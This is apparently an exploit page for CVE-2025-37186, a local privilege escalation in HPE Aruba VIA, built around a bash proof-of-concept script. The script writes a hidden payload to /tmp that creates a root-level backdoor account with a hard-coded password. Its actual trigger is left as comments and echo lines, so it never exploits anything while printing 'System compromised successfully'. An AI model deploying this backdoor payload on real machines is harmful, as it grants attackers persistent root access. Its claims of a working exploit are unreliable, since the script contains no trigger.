CVE-2025-37186 | HPE Aruba VIA 本地权限提升漏洞

#!/bin/bash # CVE-2025-37186 PoC - HPE Aruba VIA Local Privilege Escalation # This is a conceptual PoC demonstrating the vulnerability pattern # Note: This is a simplified demonstration script # Actual exploitation requires specific target environment analysis TARGET_BINARY="/opt/aruba/via/bin/via_service" MALICIOUS_SCRIPT="/tmp/.hidden_payload.sh" # Step 1: Create malicious payload with root execution capability cat > $MALICIOUS_SCRIPT << 'EOF' #!/bin/bash # Malicious payload - adds new root user or executes commands # This script will be executed with elevated privileges echo "[+] Privilege Escalation Payload Executed" echo "[+] Current UID: $(id -u)" echo "[+] Adding backdoor user..." # Create backdoor account (for demonstration) useradd -r -s /bin/bash backdoor_root 2>/dev/null usermod -aG sudo,root backdoor_root 2>/dev/null echo "backdoor_root:BackdoorPass123!" | chpasswd echo "[+] Backdoor created: backdoor_root/backdoor_root" echo "[+] System compromised successfully" EOF chmod +x $MALICIOUS_SCRIPT # Step 2: Exploit race condition or insecure file operation # The vulnerability allows manipulation of VIA client resources # to execute code with root privileges # Step 3: Trigger exploitation (requires specific trigger mechanism) echo "[*] Attempting privilege escalation via VIA client..." echo "[*] Target: $TARGET_BINARY" echo "[*] Payload: $MALICIOUS_SCRIPT" # Note: Actual exploitation requires: # - Identifying the specific vulnerable code path # - Crafting appropriate trigger input # - Timing exploitation correctly echo "[!] This is a conceptual PoC for educational purposes only"